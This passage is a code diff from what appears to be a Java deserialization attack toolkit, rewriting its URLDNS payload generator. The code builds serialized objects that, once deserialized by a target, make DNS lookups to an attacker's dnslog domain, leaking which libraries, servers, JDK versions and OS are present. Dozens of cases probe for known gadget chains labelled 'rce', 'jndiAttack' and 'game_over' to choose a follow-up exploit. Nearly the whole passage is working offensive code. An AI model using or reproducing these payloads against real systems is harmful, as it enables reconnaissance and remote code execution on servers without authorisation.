"com.microsoft.sqlserver.jdbc.SQLServerDriver"); - Object microsoft_driver = getURLDNSGadget("microsoft_driver." + dnsLog, "com.microsoft.jdbc.sqlserver.SQLServerDriver"); - Object oracle_driver = getURLDNSGadget("oracle_driver." + dnsLog, "oracle.jdbc.OracleDriver"); - Object oracle_driver2 = getURLDNSGadget("oracle_driver2." + dnsLog, "oracle.jdbc.driver.OracleDriver"); - Object jtds_driver = getURLDNSGadget("jtds_driver." + dnsLog, "net.sourceforge.jtds.jdbc.Driver"); - Object mariadb_driver = getURLDNSGadget("mariadb_driver." + dnsLog, "org.mariadb.jdbc.Driver"); - Object kingbase_driver = getURLDNSGadget("kingbase_driver." + dnsLog, "com.kingbase.Driver"); - Object kingbase8_driver = getURLDNSGadget("kingbase8_driver." + dnsLog, "com.kingbase8.Driver"); - Object shen_tong_driver = getURLDNSGadget("shen_tong_driver." + dnsLog, "com.oscar.Driver"); - Object Gbase8s_driver = getURLDNSGadget("Gbase8s_driver." + dnsLog, "com.gbasedbt.jdbc.Driver"); - Object xugu_driver = getURLDNSGadget("xugu_driver." + dnsLog, "com.xugu.cloudjdbc.Driver"); - Object GoldenDB_driver = getURLDNSGadget("GoldenDB_driver." + dnsLog, "com.goldendb.jdbc.Driver"); - list.add(mysql_driver); - list.add(mysql_cj_driver); - list.add(postgresql_driver); - list.add(hsqldb_driver); - list.add(h2_driver); - list.add(sqlite_driver); - list.add(derby_driver); - list.add(teradata_drvier); - list.add(db2_driver); - list.add(modeshape_driver); - list.add(fabric_driver); - list.add(dm_driver); - list.add(sqlserver_driver); - list.add(microsoft_driver); - list.add(oracle_driver); - list.add(oracle_driver2); - list.add(jtds_driver); - list.add(mariadb_driver); - list.add(kingbase_driver); - list.add(kingbase8_driver); - list.add(shen_tong_driver); - list.add(Gbase8s_driver); - list.add(xugu_driver); - list.add(GoldenDB_driver); - break; - case "cb": - Object cb17 = getURLDNSGadget("cb17." + dnsLog, "org.apache.commons.beanutils.MappedPropertyDescriptor$1"); - Object cb18 = getURLDNSGadget("cb18." + dnsLog, "org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry"); - Object cb19 = getURLDNSGadget("cb19." + dnsLog, "org.apache.commons.beanutils.BeanIntrospectionData"); - Object cb_BeanComparator = getURLDNSGadget("cb_BeanComparator." + dnsLog, "org.apache.commons.beanutils.BeanComparator"); - list.add(cb17); - list.add(cb18); - list.add(cb19); - list.add(cb_BeanComparator); - break; - case "CommonsCollections13567": - //CommonsCollections1/3/5/6/7链,需要<=3.2.1版本 - Object cc3_ChainedTransformer = getURLDNSGadget("cc3_ChainedTransformer." + dnsLog, "org.apache.commons.collections.functors.ChainedTransformer"); - Object cc31 = getURLDNSGadget("cc31." + dnsLog, "org.apache.commons.collections.list.TreeList"); - Object cc4_exist = getURLDNSGadget("cc4_exist." + dnsLog, "org.apache.commons.collections4.comparators.TransformingComparator"); - Object cc40_ChainedTransformer = getURLDNSGadget("cc40_ChainedTransformer." + dnsLog, "org.apache.commons.collections4.functors.ChainedTransformer"); - Object cc322 = getURLDNSGadget("cc322." + dnsLog, "org.apache.commons.collections.ExtendedProperties$1"); - Object cc41_game_over = getURLDNSGadget("cc41_game_over." + dnsLog, "org.apache.commons.collections4.FluentIterable"); - list.add(cc3_ChainedTransformer); - list.add(cc322); - list.add(cc4_exist); - list.add(cc40_ChainedTransformer); - list.add(cc41_game_over); - list.add(cc31); - break; - case "CommonsCollections24": - //CommonsCollections2/4链,需要4-4.0版本 - Object cc40 = getURLDNSGadget("cc40." + dnsLog, "org.apache.commons.collections4.functors.ChainedTransformer"); - Object cc41 = getURLDNSGadget("cc41." + dnsLog, "org.apache.commons.collections4.FluentIterable"); - list.add(cc40); - list.add(cc41); - break; - case "C3P0": - //c3p0,serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104 - Object c3p092x = getURLDNSGadget("c3p092x." + dnsLog, "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); - Object c3p095x = getURLDNSGadget("c3p095x." + dnsLog, "com.mchange.v2.c3p0.test.AlwaysFailDataSource"); - list.add(c3p092x); - list.add(c3p095x); - break; - case "AspectJWeaver": - //aspectjweaver,需要cc31 - Object ajw = getURLDNSGadget("ajw." + dnsLog, "org.aspectj.weaver.tools.cache.SimpleCache"); - list.add(ajw); - break; - case "bsh": - //bsh,serialVersionUID不同,2.0b4为4949939576606791809,2.0b5为4041428789013517368,2.0.b6无法反序列化 - Object bsh20b4 = getURLDNSGadget("bsh20b4." + dnsLog, "bsh.CollectionManager$1"); - Object bsh20b5 = getURLDNSGadget("bsh20b5." + dnsLog, "bsh.engine.BshScriptEngine"); - Object bsh20b6 = getURLDNSGadget("bsh20b6." + dnsLog, "bsh.collection.CollectionIterator$1"); - list.add(bsh20b4); - list.add(bsh20b5); - list.add(bsh20b6); - break; - case "Groovy": - //Groovy,1.7.0-2.4.3,serialVersionUID不同,2.4.x为-8137949907733646644,2.3.x为1228988487386910280 - Object groovy1702311 = getURLDNSGadget("groovy1702311." + dnsLog, "org.codehaus.groovy.reflection.ClassInfo$ClassInfoSet"); - Object groovy24x = getURLDNSGadget("groovy24x." + dnsLog, "groovy.lang.Tuple2"); - Object groovy244 = getURLDNSGadget("groovy244." + dnsLog, "org.codehaus.groovy.runtime.dgm$1170"); - Object groovy_classloader = getURLDNSGadget("groovy_classloader." + dnsLog, "org.codehaus.groovy.runtime.dgm$1170"); - list.add(groovy1702311); - list.add(groovy24x); - list.add(groovy244); - list.add(groovy_classloader); - break; - case "Becl": - //Becl,JDK<8u251 - Object becl = getURLDNSGadget("becl." + dnsLog, "com.sun.org.apache.bcel.internal.util.ClassLoader"); - list.add(becl); - break; - case "Jdk7u21": - //JDK<=7u21 - Object Jdk7u21 = getURLDNSGadget("Jdk7u21." + dnsLog, "com.sun.corba.se.impl.orbutil.ORBClassLoader"); - list.add(Jdk7u21); - break; - case "JRE8u20": - //7u25<=JDK<=8u20,虽然叫JRE8u20其实JDK8u20也可以,这个检测不完美,8u25版本以及JDK<=7u21会误报,可综合Jdk7u21来看 - Object jdk7u21 = getURLDNSGadget("jdk7u21." + dnsLog, "com.sun.corba.se.impl.orbutil.ORBClassLoader"); - list.add(jdk7u21); - Object jdk_7u25_to_8u20 = getURLDNSGadget("jdk_7u25_to_8u20." + dnsLog, "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1"); - list.add(jdk_7u25_to_8u20); - Object AspectJWeaver = getURLDNSGadget("AspectJWeaver." + dnsLog, "org.aspectj.weaver.tools.cache.SimpleCache"); - list.add(AspectJWeaver); - Object ClassPathXmlApplicationContext = getURLDNSGadget("ClassPathXmlApplicationContext." + dnsLog, "org.springframework.context.support.ClassPathXmlApplicationContext"); - list.add(ClassPathXmlApplicationContext); - Object Rome_low_ToStringBean = getURLDNSGadget("Rome_low_ToStringBean." + dnsLog, "com.sun.syndication.feed.impl.ToStringBean"); - list.add(Rome_low_ToStringBean); - Object Rome_high_ObjectBean = getURLDNSGadget("Rome_high_ObjectBean." + dnsLog, "com.rometools.rome.feed.impl.ObjectBean"); - list.add(Rome_high_ObjectBean); - break; - case "ROME": - //rome <= 1.11.1 - Object rome1000 = getURLDNSGadget("rome1000." + dnsLog, "com.sun.syndication.feed.impl.ToStringBean"); - Object rome1111 = getURLDNSGadget("rome1111." + dnsLog, "com.rometools.rome.feed.impl.ObjectBean"); - list.add(rome1000); - list.add(rome1111); - break; - case "Jackson": - //jackson-databind>=2.10.0存在一个链 - //此链实战中有50%概率触发getStylesheetDOM导致不成功,因此需要org.springframework.aop.framework.JdkDynamicAopProxy封装,这个类的jar包和springAOP一样 - Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization"); - list.add(jackson2100); - break; - case "SpringAOP": - //fastjon/jackson两个链触发toString的变种,都需要springAOP - Object springAOP = getURLDNSGadget("SpringAOP." + dnsLog, "org.springframework.aop.target.HotSwappableTargetSource"); - list.add(springAOP); - break; - case "winlinux": - //windows/linux版本判断 - try { - Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); - Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); - list.add(linux); - list.add(windows); -// Object linux1 = getURLDNSGadget("linux1." + dnsLog, "java.io.UnixFileSystem"); -// Object windows1 = getURLDNSGadget("windows1." + dnsLog, "java.io.WinNTFileSystem"); -// list.add(linux1); -// list.add(windows1); - } catch (Exception e) { - log.error("e: ", e); - } - - - break; - - case "all": - try { - for (String aClass : defaultClass) { - setList(aClass, dnsLog); - } - } catch (Exception e) { - log.error("e: ", e); - } - break; - default: - Object hm = getURLDNSGadget(clazzName.replace(".", "_").replace("$", "_") + "." + dnsLog, clazzName); - list.add(hm); - break; - } - } - - public Object getObject(String command) throws Exception { - - int sep = command.lastIndexOf(':'); - if (sep < 0) { - throw new IllegalArgumentException("Command format is: :"); - } - - String tYPE = command.substring(0, sep); - String url = command.substring(sep + 1); - - switch (tYPE) { - case "all": - setList("all", url); - break; - case "os": - setList("winlinux", url); - break; - case "cc": - setList("CommonsCollections13567", url); - setList("CommonsCollections24", url); - break; - case "cb": - setList("cb", url); - break; - case "db": - setList("db", url); - break; - case "jndiAttack": - setList("jndiAttack", url); - break; - case "datasource": - setList("datasource", url); - break; - case "jdk": - setList("jdk", url); - break; - case "web": - setList("web", url); - break; - case "other": - setList("other", url); - break; - - case "null": - return getURLDNSGadget(url, null); - default: - setList(tYPE, url); - } - - return list; - } -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +import java.lang.reflect.Field; +import java.net.URL; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; + +/** + * A blog post with more details about this gadget chain is at the url below: + * ... + *

+ * This was inspired by Philippe Arteau @h3xstream, who wrote a blog + * posting describing how he modified the Java Commons Collections gadget + * in ysoserial to open a URL. This takes the same idea, but eliminates + * the dependency on Commons Collections and does a DNS lookup with just + * standard JDK classes. + *

+ * The Java URL class has an interesting property on its equals and + * hashCode methods. The URL class will, as a side effect, do a DNS lookup + * during a comparison (either equals or hashCode). + *

+ * As part of deserialization, HashMap calls hashCode on each key that it + * deserializes, so using a Java URL object as a serialized key allows + * it to trigger a DNS lookup. + *

+ * Gadget Chain: + * HashMap.readObject() + * HashMap.putVal() + * HashMap.hash() + * URL.hashCode() + */ + +@SuppressWarnings({"unused"}) +@Dependencies() +@Authors({Authors.GEBL}) +public class URLDNS implements ObjectPayload { + private static final Logger log = LogManager.getLogger(URLDNS.class); + public static String[] defaultClass = new String[]{ + "CommonsCollections13567", + "CommonsCollections24", + "C3P0", + "AspectJWeaver", + "bsh", + "Groovy", + "Becl", + "Jdk7u21", + "JRE8u20", + "ROME", + "Jackson", + "SpringAOP", + "winlinux", + "jdk17_22", + "jdk9_22", + "jdk6_8", + "jdk6_11", + "jdk9_10", + "cb", + "db", + "datasource", + "jndiAttack", + "other", + "gadget", + "jdk", + "web" + }; + + + public static List list = new LinkedList<>(); + + public static Object getURLDNSGadget(String urls, String clazzName) throws Exception { + HashMap hashMap = new HashMap<>(); + URL url = new URL("http://" + urls); + Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); + f.setAccessible(true); + f.set(url, 0); + Class clazz = null; + + if (clazzName != null) { + try { + clazz = com.qi4l.JYso.gadgets.utils.Utils.makeClass(clazzName); + } catch (Exception e) { + clazz = Class.forName(clazzName); + } + } + + hashMap.put(url, clazz); + f.set(url, -1); + return hashMap; + } + + public static void setList(String clazzName, String dnsLog) throws Exception { + + + switch (clazzName) { + case "web": + Object tomcat_webserver = getURLDNSGadget("tomcat_webserver." + dnsLog, "org.apache.catalina.startup.Catalina"); + list.add(tomcat_webserver); + Object javax_servlet_tomcat9 = getURLDNSGadget("javax_servlet_tomcat9." + dnsLog, "javax.servlet.http.HttpServlet"); + list.add(javax_servlet_tomcat9); + Object jakarta_servlet_tomcat10 = getURLDNSGadget("jakarta_servlet_tomcat10." + dnsLog, "jakarta.servlet.http.HttpServlet"); + list.add(jakarta_servlet_tomcat10); + Object weblogic_webserver = getURLDNSGadget("weblogic_webserver." + dnsLog, "weblogic.servlet.internal.WebAppModule"); + list.add(weblogic_webserver); + Object resin_webserver = getURLDNSGadget("resin_webserver." + dnsLog, "com.caucho.server.resin.Resin"); + list.add(resin_webserver); + Object jetty_webserver = getURLDNSGadget("jetty_webserver." + dnsLog, "org.eclipse.jetty.server.Server"); + list.add(jetty_webserver); + Object websphere_webserver = getURLDNSGadget("websphere_webserver." + dnsLog, "com.ibm.wsspi.sib.core.exception.SINotAuthorizedException"); + list.add(websphere_webserver); + Object undertow_webserver = getURLDNSGadget("undertow_webserver." + dnsLog, "io.undertow.server.Connectors"); + list.add(undertow_webserver); + Object glassfish_webserver = getURLDNSGadget("glassfish_webserver." + dnsLog, "org.glassfish.jersey.server.ContainerException"); + list.add(glassfish_webserver); + Object tongweb_webserver1 = getURLDNSGadget("tongweb_webserver1." + dnsLog, "com.tongweb.catalina.core.StandardHost"); + list.add(tongweb_webserver1); + Object tongweb_webserver2 = getURLDNSGadget("tongweb_webserver2." + dnsLog, "com.tongweb.catalina.startup.ThanosCatalina"); + list.add(tongweb_webserver2); + Object tongweb_webserver3 = getURLDNSGadget("tongweb_webserver3." + dnsLog, "com.tongweb.catalina.startup.Bootstrap"); + list.add(tongweb_webserver3); + Object bes_webserver = getURLDNSGadget("bes_webserver." + dnsLog, "com.bes.enterprise.webtier.LifecycleException"); + list.add(bes_webserver); + Object cvicse_webserver = getURLDNSGadget("cvicse_webserver." + dnsLog, "com.cvicse.enterprise.connectors.ConnectorRuntime"); + list.add(cvicse_webserver); + Object primeton_webserver = getURLDNSGadget("primeton_webserver." + dnsLog, "com.primeton.appserver.enterprise.v3.common.XMLContentActionReporter"); + list.add(primeton_webserver); + Object apusic_webserver = getURLDNSGadget("apusic_webserver." + dnsLog, "com.apusic.web.container.WebContainer"); + list.add(apusic_webserver); + Object kingdee_webserver = getURLDNSGadget("kingdee_webserver." + dnsLog, "com.kingdee.eas.hse.scm.service.app.OnlineOrderInterface"); + list.add(kingdee_webserver); + break; + case "jdk": + Object jdk_17_to_22 = getURLDNSGadget("jdk_17_to_22." + dnsLog, "jdk.internal.util.random.RandomSupport"); + list.add(jdk_17_to_22); + Object jdk_9_to_22_Unsafe = getURLDNSGadget("jdk_9_to_22_Unsafe." + dnsLog, "jdk.internal.misc.Unsafe"); + list.add(jdk_9_to_22_Unsafe); + Object jdk_le_8_BASE64Decoder = getURLDNSGadget("jdk_le_8_BASE64Decoder." + dnsLog, "sun.misc.BASE64Decoder"); + list.add(jdk_le_8_BASE64Decoder); + Object jdk_6_to_11 = getURLDNSGadget("jdk_6_to_11." + dnsLog, "com.sun.awt.SecurityWarning"); + list.add(jdk_6_to_11); + Object jdk_9_to_10 = getURLDNSGadget("jdk_9_to_10." + dnsLog, "jdk.incubator.http.HttpClient"); + list.add(jdk_9_to_10); + Object jdk8_Base64 = getURLDNSGadget("jdk8_Base64." + dnsLog, "java.util.Base64"); + list.add(jdk8_Base64); + Object jdk_xml_utils_Base64 = getURLDNSGadget("jdk_xml_utils_Base64." + dnsLog, "com.sun.org.apache.xml.internal.security.utils.Base64"); + list.add(jdk_xml_utils_Base64); + Object jrmp = getURLDNSGadget("jrmp." + dnsLog, "java.rmi.server.UnicastRemoteObject"); + list.add(jrmp); + Object Runtime = getURLDNSGadget("Runtime." + dnsLog, "java.lang.Runtime"); + list.add(Runtime); + Object ProcessBuilder = getURLDNSGadget("ProcessBuilder." + dnsLog, "java.lang.ProcessBuilder"); + list.add(ProcessBuilder); + Object activej_DefiningClassLoader = getURLDNSGadget("activej_DefiningClassLoader." + dnsLog, "io.activej.codegen.DefiningClassLoader"); + list.add(activej_DefiningClassLoader); + Object bcel = getURLDNSGadget("bcel." + dnsLog, "com.sun.org.apache.bcel.internal.util.ClassLoader"); + list.add(bcel); + Object cc_bypass_DefiningClassLoader = getURLDNSGadget("cc_bypass_DefiningClassLoader." + dnsLog, "sun.org.mozilla.javascript.internal.DefiningClassLoader"); + list.add(cc_bypass_DefiningClassLoader); + Object cc_bypass_DefiningClassLoader2 = getURLDNSGadget("cc_bypass_DefiningClassLoader2." + dnsLog, "org.mozilla.javascript.DefiningClassLoader"); + list.add(cc_bypass_DefiningClassLoader2); + Object xalan_TemplatesImpl = getURLDNSGadget("xalan_TemplatesImpl." + dnsLog, "org.apache.xalan.xsltc.trax.TemplatesImpl"); + list.add(xalan_TemplatesImpl); + Object jdk_TemplatesImpl = getURLDNSGadget("jdk_TemplatesImpl." + dnsLog, "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); + list.add(jdk_TemplatesImpl); + break; + case "gadget": + Object BadAttributeValueExpException = getURLDNSGadget("BadAttributeValueExpException." + dnsLog, "javax.management.BadAttributeValueExpException"); + list.add(BadAttributeValueExpException); + Object jackson_POJONode = getURLDNSGadget("jackson_POJONode." + dnsLog, "com.fasterxml.jackson.databind.node.POJONode"); + list.add(jackson_POJONode); + Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray"); + list.add(fastjson); + Object fastjson2 = getURLDNSGadget("fastjson2." + dnsLog, "com.alibaba.fastjson2.JSONArray"); + list.add(fastjson2); + Object UnicastRef = getURLDNSGadget("UnicastRef." + dnsLog, "sun.rmi.server.UnicastRef"); + list.add(UnicastRef); + Object fileupload_DiskFileItem = getURLDNSGadget("fileupload_DiskFileItem." + dnsLog, "org.apache.commons.fileupload.disk.DiskFileItem"); + list.add(fileupload_DiskFileItem); + Object fileupload_FileItem = getURLDNSGadget("fileupload_FileItem." + dnsLog, "org.apache.commons.fileupload.FileItem"); + list.add(fileupload_FileItem); + Object cc_TreeBag = getURLDNSGadget("cc_TreeBag." + dnsLog, "org.apache.commons.collections.bag.TreeBag"); + list.add(cc_TreeBag); + Object SignedObject = getURLDNSGadget("SignedObject." + dnsLog, "java.security.SignedObject"); + list.add(SignedObject); + Object MapMessage = getURLDNSGadget("MapMessage." + dnsLog, "org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage"); + list.add(MapMessage); + Object weblogic_gadget = getURLDNSGadget("weblogic_gadget." + dnsLog, "oracle.ucp.jdbc.PoolDataSourceImpl"); + list.add(weblogic_gadget); + Object spring_aop1_for_jackson = getURLDNSGadget("spring_aop1_for_jackson." + dnsLog, "org.springframework.aop.framework.AdvisedSupport"); + list.add(spring_aop1_for_jackson); + Object spring_aop2_for_jackson = getURLDNSGadget("spring_aop2_for_jackson." + dnsLog, "org.springframework.aop.framework.JdkDynamicAopProxy"); + list.add(spring_aop2_for_jackson); + Object jdk9_jshell = getURLDNSGadget("jdk9_jshell." + dnsLog, "jdk.jshell.JShell"); + list.add(jdk9_jshell); + Object jdk9 = getURLDNSGadget("jdk9." + dnsLog, "jdk.internal.loader.ClassLoaders$AppClassLoader"); + list.add(jdk9); + Object jxpath_gadget = getURLDNSGadget("jxpath_gadget." + dnsLog, "org.apache.commons.jxpath.ri.model.NodePointer"); + list.add(jxpath_gadget); + Object ASeq_gadget = getURLDNSGadget("ASeq_gadget." + dnsLog, "clojure.lang.ASeq"); + list.add(ASeq_gadget); + Object Page_gadget = getURLDNSGadget("Page_gadget." + dnsLog, "org.htmlparser.lexer.Page"); + list.add(Page_gadget); + Object tomcat_dbcp_getter1 = getURLDNSGadget("tomcat_dbcp_getter1." + dnsLog, "org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource"); + list.add(tomcat_dbcp_getter1); + Object tomcat_dbcp_getter2 = getURLDNSGadget("tomcat_dbcp_getter2." + dnsLog, "org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource"); + list.add(tomcat_dbcp_getter2); + Object tomcat_dbcp2_getter1 = getURLDNSGadget("tomcat_dbcp2_getter1." + dnsLog, "org.apache.tomcat.dbcp.dbcp2.datasources.SharedPoolDataSource"); + list.add(tomcat_dbcp2_getter1); + Object tomcat_dbcp2_getter2 = getURLDNSGadget("tomcat_dbcp2_getter2." + dnsLog, "org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource"); + list.add(tomcat_dbcp2_getter2); + Object postgresql_getter = getURLDNSGadget("postgresql_getter." + dnsLog, "org.postgresql.ds.PGConnectionPoolDataSource"); + list.add(postgresql_getter); + Object mysql_getter = getURLDNSGadget("mysql_getter." + dnsLog, "com.mysql.jdbc.jdbc2.optional.MysqlDataSource"); + list.add(mysql_getter); + Object druid_getter1_DruidDataSource = getURLDNSGadget("druid_getter1_DruidDataSource." + dnsLog, "com.alibaba.druid.pool.DruidDataSource"); + list.add(druid_getter1_DruidDataSource); + Object druid_getter2_DruidQuartzConnectionProvider = getURLDNSGadget("druid_getter2_DruidQuartzConnectionProvider." + dnsLog, "com.alibaba.druid.support.quartz.DruidQuartzConnectionProvider"); + list.add(druid_getter2_DruidQuartzConnectionProvider); + Object druid_getter3_DruidXADataSource = getURLDNSGadget("druid_getter3_DruidXADataSource." + dnsLog, "com.alibaba.druid.pool.xa.DruidXADataSource"); + list.add(druid_getter3_DruidXADataSource); + Object common_dbcp_getter1 = getURLDNSGadget("common_dbcp_getter1." + dnsLog, "org.apache.commons.dbcp.datasources.SharedPoolDataSource"); + list.add(common_dbcp_getter1); + Object common_dbcp_getter2 = getURLDNSGadget("common_dbcp_getter2." + dnsLog, "org.apache.commons.dbcp.datasources.PerUserPoolDataSource"); + list.add(common_dbcp_getter2); + Object common_dbcp2_getter1 = getURLDNSGadget("common_dbcp2_getter1." + dnsLog, "org.apache.commons.dbcp2.datasources.SharedPoolDataSource"); + list.add(common_dbcp2_getter1); + Object common_dbcp2_getter2 = getURLDNSGadget("common_dbcp2_getter2." + dnsLog, "org.apache.commons.dbcp2.datasources.PerUserPoolDataSource"); + list.add(common_dbcp2_getter2); + Object spring_aop_HotSwappableTargetSource = getURLDNSGadget("spring_aop_HotSwappableTargetSource." + dnsLog, "org.springframework.aop.target.HotSwappableTargetSource"); + list.add(spring_aop_HotSwappableTargetSource); + Object resin_qname_rce = getURLDNSGadget("resin_qname_rce." + dnsLog, "com.caucho.naming.QName"); + list.add(resin_qname_rce); + break; + case "other": + Object spel = getURLDNSGadget("spel." + dnsLog, "org.springframework.expression.spel.standard.SpelExpressionParser"); + list.add(spel); + Object commons_KeyedObjectPoolFactory = getURLDNSGadget("commons_KeyedObjectPoolFactory." + dnsLog, "org.apache.commons.pool.KeyedObjectPoolFactory"); + list.add(commons_KeyedObjectPoolFactory); + Object tomcat_PooledObjectFactory = getURLDNSGadget("tomcat_PooledObjectFactory." + dnsLog, "org.apache.commons.pool2.PooledObjectFactory"); + list.add(tomcat_PooledObjectFactory); + Object hibernate_rce = getURLDNSGadget("hibernate_rce." + dnsLog, "org.hibernate.jmx.StatisticsService"); + list.add(hibernate_rce); + Object mysql_MiniAdmin = getURLDNSGadget("mysql_MiniAdmin." + dnsLog, "com.mysql.cj.jdbc.admin.MiniAdmin"); + list.add(mysql_MiniAdmin); + Object OracleCachedRowSet_jndi = getURLDNSGadget("OracleCachedRowSet_jndi." + dnsLog, "oracle.jdbc.rowset.OracleCachedRowSet"); + list.add(OracleCachedRowSet_jndi); + Object oracle_jdbcrowset = getURLDNSGadget("oracle_jdbcrowset." + dnsLog, "oracle.jdbc.rowset.OracleJDBCRowSet"); + list.add(oracle_jdbcrowset); + Object dameng_DmdbRowSet = getURLDNSGadget("dameng_DmdbRowSet." + dnsLog, "dm.jdbc.driver.DmdbRowSet"); + list.add(dameng_DmdbRowSet); + Object jboss_rce = getURLDNSGadget("jboss_rce." + dnsLog, "org.jboss.util.propertyeditor.DocumentEditor"); + list.add(jboss_rce); + Object myfaces_rce = getURLDNSGadget("myfaces_rce." + dnsLog, "org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression"); + list.add(myfaces_rce); + Object jython_rce = getURLDNSGadget("jython_rce." + dnsLog, "org.python.core.PyBytecode.PyBytecode"); + list.add(jython_rce); + Object rome_rce = getURLDNSGadget("rome_rce." + dnsLog, "com.sun.syndication.feed.impl.ObjectBean"); + list.add(rome_rce); + Object vaadin_rce = getURLDNSGadget("vaadin_rce." + dnsLog, "com.vaadin.data.util.PropertysetItem"); + list.add(vaadin_rce); + Object wicket_rce = getURLDNSGadget("wicket_rce." + dnsLog, "org.apache.wicket.util.upload.DiskFileItem"); + list.add(wicket_rce); + Object rhino_js_rce = getURLDNSGadget("rhino_js_rce." + dnsLog, "org.mozilla.javascript.NativeError"); + list.add(rhino_js_rce); + Object hibernate_Getter = getURLDNSGadget("hibernate_Getter." + dnsLog, "org.hibernate.property.Getter"); + list.add(hibernate_Getter); + Object hibernate_TypedValue = getURLDNSGadget("hibernate_TypedValue." + dnsLog, "org.hibernate.engine.spi.TypedValue"); + list.add(hibernate_TypedValue); + Object net_sf_json_rce = getURLDNSGadget("net_sf_json_rce." + dnsLog, "net.sf.json.JSONObject"); + list.add(net_sf_json_rce); + Object clojure_rce = getURLDNSGadget("clojure_rce." + dnsLog, "clojure.lang.PersistentArrayMap"); + list.add(clojure_rce); + Object click_rce = getURLDNSGadget("click_rce." + dnsLog, "org.apache.click.control.Table"); + list.add(click_rce); + Object WildFly_rce = getURLDNSGadget("WildFly_rce." + dnsLog, "org.jboss.as.connector.subsystems.datasources.WildFlyDataSource"); + list.add(WildFly_rce); + Object WildFly_rce1 = getURLDNSGadget("WildFly_rce1." + dnsLog, "org.apache.batik.swing.JSVGCanvas"); + list.add(WildFly_rce1); + Object hibernate_core_4 = getURLDNSGadget("hibernate_core_4.x." + dnsLog, "org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl"); + list.add(hibernate_core_4); + Object tomcat9_not_version8 = getURLDNSGadget("tomcat9_not_version8." + dnsLog, "org.apache.catalina.util.ToStringUtil"); + list.add(tomcat9_not_version8); + Object log4j_jndi = getURLDNSGadget("log4j_jndi." + dnsLog, "org.apache.log4j.receivers.dbMap.JNDIConnectionSource"); + list.add(log4j_jndi); + Object log4j_driver = getURLDNSGadget("log4j_driver." + dnsLog, "org.apache.log4j.receivers.dbMap.DriverManagerConnectionSource"); + list.add(log4j_driver); + Object jdbcRowSet = getURLDNSGadget("jdbcRowSet." + dnsLog, "com.sun.rowset.JdbcRowSetImpl"); + list.add(jdbcRowSet); + Object ibatis_jndi = getURLDNSGadget("ibatis_jndi." + dnsLog, "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory"); + list.add(ibatis_jndi); + Object ibatis_XPathParser = getURLDNSGadget("ibatis_XPathParser." + dnsLog, "org.apache.ibatis.parsing.XPathParser"); + list.add(ibatis_XPathParser); + Object LogFactory = getURLDNSGadget("LogFactory." + dnsLog, "org.apache.juli.logging.LogFactory"); + list.add(LogFactory); + Object MXParser = getURLDNSGadget("MXParser." + dnsLog, "org.xmlpull.mxp1.MXParser"); + list.add(MXParser); + Object XmlPullParserException = getURLDNSGadget("XmlPullParserException." + dnsLog, "org.xmlpull.v1.XmlPullParserException"); + list.add(XmlPullParserException); + break; + case "jndiAttack": + Object BeanFactory_game_over = getURLDNSGadget("BeanFactory_game_over." + dnsLog, "org.apache.catalina.filters.CsrfPreventionFilter$NonceCache"); + Object BeanFactory_yes = getURLDNSGadget("BeanFactory_yes." + dnsLog, "org.apache.naming.factory.BeanFactory"); + Object bes_BeanFactory = getURLDNSGadget("bes_BeanFactory." + dnsLog, "com.bes.enterprise.naming.factory.BeanFactory"); + Object el = getURLDNSGadget("el." + dnsLog, "javax.el.ELProcessor"); + Object groovy = getURLDNSGadget("groovy." + dnsLog, "groovy.lang.GroovyShell"); + Object BurlapProxyFactory_ObjectFactory = getURLDNSGadget("BurlapProxyFactory_ObjectFactory." + dnsLog, "com.caucho.burlap.client.BurlapProxyFactory"); + Object MemoryUserDatabaseFactory_ObjectFactory = getURLDNSGadget("MemoryUserDatabaseFactory_ObjectFactory." + dnsLog, "org.apache.catalina.users.MemoryUserDatabaseFactory"); + Object UserDatabase = getURLDNSGadget("UserDatabase." + dnsLog, "org.apache.catalina.UserDatabase"); + Object GenericNamingResourcesFactory_ObjectFactory = getURLDNSGadget("GenericNamingResourcesFactory_ObjectFactory." + dnsLog, "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory"); + Object Configuration_modify_system_property = getURLDNSGadget("Configuration_modify_system_property." + dnsLog, "org.apache.commons.configuration.SystemConfiguration"); + Object Configuration2_modify_system_property = getURLDNSGadget("Configuration2_modify_system_property." + dnsLog, "org.apache.commons.configuration2.SystemConfiguration"); + Object groovy_modify_system_env = getURLDNSGadget("groovy_modify_system_env." + dnsLog, "org.apache.groovy.util.SystemUtil"); + Object ibm_ObjectFactory = getURLDNSGadget("ibm_ObjectFactory." + dnsLog, "com.ibm.ws.webservices.engine.client.ServiceFactory"); + Object ibm_ObjectFactory2 = getURLDNSGadget("ibm_ObjectFactory2." + dnsLog, "com.ibm.ws.client.applicationclient.ClientJ2CCFFactory"); + Object snakeyaml = getURLDNSGadget("snakeyaml." + dnsLog, "org.yaml.snakeyaml.Yaml"); + Object xstream = getURLDNSGadget("xstream." + dnsLog, "com.thoughtworks.xstream.XStream"); + Object mvel2_ShellSession = getURLDNSGadget("mvel2_ShellSession." + dnsLog, "org.mvel2.sh.ShellSession"); + Object mvel2 = getURLDNSGadget("mvel2." + dnsLog, "org.mvel2.MVEL"); + Object jexl2 = getURLDNSGadget("jexl2." + dnsLog, 